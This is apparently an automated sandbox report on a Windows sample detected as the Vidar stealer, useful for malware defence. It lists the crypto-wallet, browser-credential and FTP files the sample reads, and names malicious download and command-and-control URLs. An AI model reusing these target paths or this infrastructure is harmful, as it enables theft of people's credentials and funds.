Source: file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: tWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: tWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe, 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: file.exe, 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: tWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: tWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 5012, type: MEMORYSTR

Remote Access Functionality

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.3.file.exe.40d0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.file.exe.40d0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.40a0e67.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.40a0e67.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2762584884.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2206480841.00000000040D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5012, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D0C40 sqlite3_bind_zeroblob,	0_2_6C9D0C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D0D60 sqlite3_bind_parameter_name,	0_2_6C9D0D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8F8EA0 sqlite3_clear_bindings,	0_2_6C8F8EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6C9D0B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8F6410 bind,WSAGetLastError,	0_2_6C8F6410
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDA389592A socket,htonl,htons,bind,listen,WSAGetLastError,WSAGetLastError,WSAGetLastError,	23_2_00007FFDA389592A
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDA38CAEAA socket,htonl,htons,bind,listen,WSAGetLastError,WSAGetLastError,WSAGetLastError,	23_2_00007FFDA38CAEAA
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDAC0A1F9A socket,htonl,htons,bind,listen,WSAGetLastError,WSAGetLastError,WSAGetLastError,	23_2_00007FFDAC0A1F9A
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDAC0D290A socket,htonl,htons,bind,listen,WSAGetLastError,WSAGetLastError,WSAGetLastError,	23_2_00007FFDAC0D290A
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDAC0EB7E8 bind,	23_2_00007FFDAC0EB7E8
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDAC0F41DA socket,htonl,htons,bind,listen,WSAGetLastError,WSAGetLastError,WSAGetLastError,	23_2_00007FFDAC0F41DA
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDAC1215FA socket,htonl,htons,bind,listen,WSAGetLastError,WSAGetLastError,WSAGetLastError,	23_2_00007FFDAC1215FA

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Native API	1 Create Account	2 Valid Accounts	1 Deobfuscate/Decode Files or Information	1 Credentials in Registry	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	2 Valid Accounts	2 Access Token Manipulation	2 Obfuscated Files or Information	Security Account Manager	1 System Service Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 Service Execution	4 Windows Service	4 Windows Service	3 Software Packing	NTDS	5 File and Directory Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	1 Services File Permissions Weakness	211 Process Injection	1 Timestomp	LSA Secrets	55 System Information Discovery	SSH	Keylogging	124 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Services File Permissions Weakness	1 DLL Side-Loading	Cached Domain Credentials	1 Network Share Discovery	VNC	GUI Input Capture	1 Proxy	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 File Deletion	DCSync	1 Query Registry	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Masquerading	Proc Filesystem	51 Security Software Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Valid Accounts	/etc/passwd and /etc/shadow	21 Virtualization/Sandbox Evasion	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	2 Access Token Manipulation	Network Sniffing	12 Process Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	21 Virtualization/Sandbox Evasion	Input Capture	1 System Owner/User Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	211 Process Injection	Keylogging	1 System Network Configuration Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	1 Hidden Users	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service
Business Relationships	Server	Trusted Relationship	Visual Basic	Container Orchestration Job	Container Orchestration Job	1 Services File Permissions Weakness	Web Portal Capture	Local Groups	Component Object Model and Distributed COM	Local Email Collection	Internal Proxy	Commonly Used Port	Direct Network Flood

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\libi2p.dll	0%	ReversingLabs
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rfxvmt.dll	0%	ReversingLabs
C:\Windows\Temp\KXEmxT2p	0%	ReversingLabs
C:\Windows\Temp\feJ0dymt	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
steamcommunity.com	0%	Virustotal		Browse
arpdabl.zapto.org	12%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://www.youtube.com	0%	URL Reputation	safe
http://www.mozilla.com/en-US/blocklist/	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://www.youtube.com/	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://player.vimeo.com	0%	Avira URL Cloud	safe
https://5.75.212.60/vcruntime140.dll;	100%	Avira URL Cloud	malware
https://5.75.212.60/sqls.dll	100%	Avira URL Cloud	malware
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
https://5.75.212.60/sqls.dll	12%	Virustotal		Browse
https://i2pseed.creativecowpat.net:8443/	0%	Avira URL Cloud	safe
https://steamcommunity.com/?subsection=broadcasts	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Virustotal		Browse
https://player.vimeo.com	0%	Virustotal		Browse
https://store.steampowered.com/subscriber_agreement/	0%	Avira URL Cloud	safe
https://i2pseed.creativecowpat.net:8443/	0%	Virustotal		Browse
https://www.gstatic.cn/recaptcha/	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Virustotal		Browse
https://reseed.memcpy.io/	0%	Avira URL Cloud	safe
https://reseed.memcpy.io/	0%	Virustotal		Browse
http://reg.i2p/hosts.txtvp/p_lib.c	0%	Avira URL Cloud	safe
http://198.46.178.145/7847438767.exenderbird	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	0%	Avira URL Cloud	safe
https://www.gstatic.cn/recaptcha/	0%	Virustotal		Browse
http://arpdabl.zaptoJKFHJ	0%	Avira URL Cloud	safe
http://www.valvesoftware.com/legal.htm	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	0%	Avira URL Cloud	safe
https://store.steampowered.com/subscriber_agreement/	0%	Virustotal		Browse
http://www.valvesoftware.com/legal.htm	0%	Virustotal		Browse
https://www.google.com	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	0%	Avira URL Cloud	safe
https://steamcommunity.com/?subsection=broadcasts	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/javascript/global.js?v=B7Vsdo1okyaC&l=english	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	0%	Avira URL Cloud	safe
https://www.google.com	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	0%	Virustotal		Browse
http://reg.i2p/hosts.txtcc	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/javascript/global.js?v=B7Vsdo1okyaC&l=english	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/javascript/profile.js?v=Iy1ies1ROjUT&l=english	0%	Avira URL Cloud	safe
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	0%	Avira URL Cloud	safe
https://steamcommunity.com/profiles/76561199747278259/badges	100%	Avira URL Cloud	malware
https://5.75.212.60/0	100%	Avira URL Cloud	malware
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	0%	Avira URL Cloud	safe
https://s.ytimg.com;	0%	Avira URL Cloud	safe
https://steamcommunity.com/profiles/76561199747278259/badges	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/javascript/profile.js?v=Iy1ies1ROjUT&l=english	0%	Virustotal		Browse
https://5.75.212.60//	100%	Avira URL Cloud	malware
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=_D2Bg4UEaFxK&l=en	0%	Avira URL Cloud	safe
https://banana.incognet.io/	100%	Avira URL Cloud	malware
https://5.75.212.60//	12%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	0%	Virustotal		Browse
https://store.steampowered.com/privac	0%	Avira URL Cloud	safe
https://5.75.212.60/#	100%	Avira URL Cloud	malware
https://5.75.212.60/0	5%	Virustotal		Browse
https://steam.tv/	0%	Avira URL Cloud	safe
https://banana.incognet.io/	4%	Virustotal		Browse
http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txt	0%	Avira URL Cloud	safe
https://store.steampowered.com/privac	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=3eYWCMu_	0%	Avira URL Cloud	safe
https://5.75.212.60/#	12%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=54OKIvHlOQzF&l=e	0%	Avira URL Cloud	safe
https://5.75.212.60/;	100%	Avira URL Cloud	malware
https://steam.tv/	0%	Virustotal		Browse
https://reseed-fr.i2pd.xyz/	0%	Avira URL Cloud	safe
https://5.75.212.60/A	100%	Avira URL Cloud	malware
https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=3eYWCMu_	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=_D2Bg4UEaFxK&l=en	0%	Virustotal		Browse
https://t.me/armad2a	100%	Avira URL Cloud	malware
https://5.75.212.60/4	100%	Avira URL Cloud	malware
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	0%	Virustotal		Browse
https://5.75.212.60/5	100%	Avira URL Cloud	malware
https://5.75.212.60/2	100%	Avira URL Cloud	malware
http://store.steampowered.com/privacy_agreement/	0%	Avira URL Cloud	safe
https://i2p.novg.net/	0%	Avira URL Cloud	safe
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
https://5.75.212.60/6	100%	Avira URL Cloud	malware
https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=54OKIvHlOQzF&l=e	0%	Virustotal		Browse
https://5.75.212.60/softokn3.dllnXq	100%	Avira URL Cloud	malware
https://store.steampowered.com/points/shop/	0%	Avira URL Cloud	safe
